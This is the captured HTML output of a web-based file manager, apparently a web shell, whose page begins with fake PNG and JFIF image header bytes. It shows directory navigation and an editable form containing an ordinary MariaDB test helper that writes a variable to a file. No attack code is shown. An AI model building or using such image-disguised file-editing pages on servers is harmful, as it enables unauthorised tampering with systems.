�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2F'>mysql-test</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2Finclude%2F'>include</a>/</p><hr><h3>✏️ Editing: write_var_to_file.inc</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># ==== Purpose ====
#
# Write the contents of $write_var to file $write_to_file.
#
#
# ==== Usage ====
#
# --let $write_var = &lt;value&gt;
# --let $write_to_file = [&lt;file&gt;|GENERATE]
# --source include/write_var_to_file.inc
#
# $write_var is evaluated in sql &#039;string&#039; context, so escapes like \n
# are interpolated.
#
# $write_to_file can be either a filename, or the special string
# GENERATE.  If it is GENERATE, a unique filename is generated (based
# on UUID()). The filename is saved in $write_to_file so that it can
# be retrieved later.
#
#
# ==== Implementation ====
#
# We can&#039;t use mysqltest&#039;s write_file because it does not evaluate
# variables. We can&#039;t use &#039;--exec echo $write_var &gt; $write_file&#039;
# because it will use \n\r line terminator under windows. So the only
# working way is mysql&#039;s SELECT INTO DUMPFILE, which is subject to
# @@secure_file_priv. That makes this more complex than you might
# expect.

if (!$write_to_file)
{
  --die You must set the mysqltest variable \$write_to_file before you source include/write_var_to_file.inc
}

if ($write_to_file == &#039;GENERATE&#039;)
{
  --let $_wvtf_suffix= `SELECT UUID()`
  --let $write_to_file= $MYSQLTEST_VARDIR/tmp/_var_file_$_wvtf_suffix.inc
}

--error 0,1
--remove_file $write_to_file

if (`SELECT LENGTH(@@secure_file_priv) &gt; 0`)
{
  --let $_wvtf_suffix= `SELECT UUID()`
  --let $_wvtf_tmp_file= $MYSQLTEST_VARDIR/_wvtf_$_wvtf_suffix

  --disable_cursor_protocol
  --disable_ps2_protocol
  --eval SELECT &#039;$write_var&#039; INTO DUMPFILE &#039;$_wvtf_tmp_file&#039;
  --enable_ps2_protocol
  --enable_cursor_protocol
  --copy_file $_wvtf_tmp_file $write_to_file
  --remove_file $_wvtf_tmp_file
}
if (`SELECT LENGTH(@@secure_file_priv) = 0`)
{
  --eval SELECT &#039;$write_var&#039; INTO DUMPFILE &#039;$write_to_file&#039;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fmysql-test%2Finclude'>🔙 Back</a></p>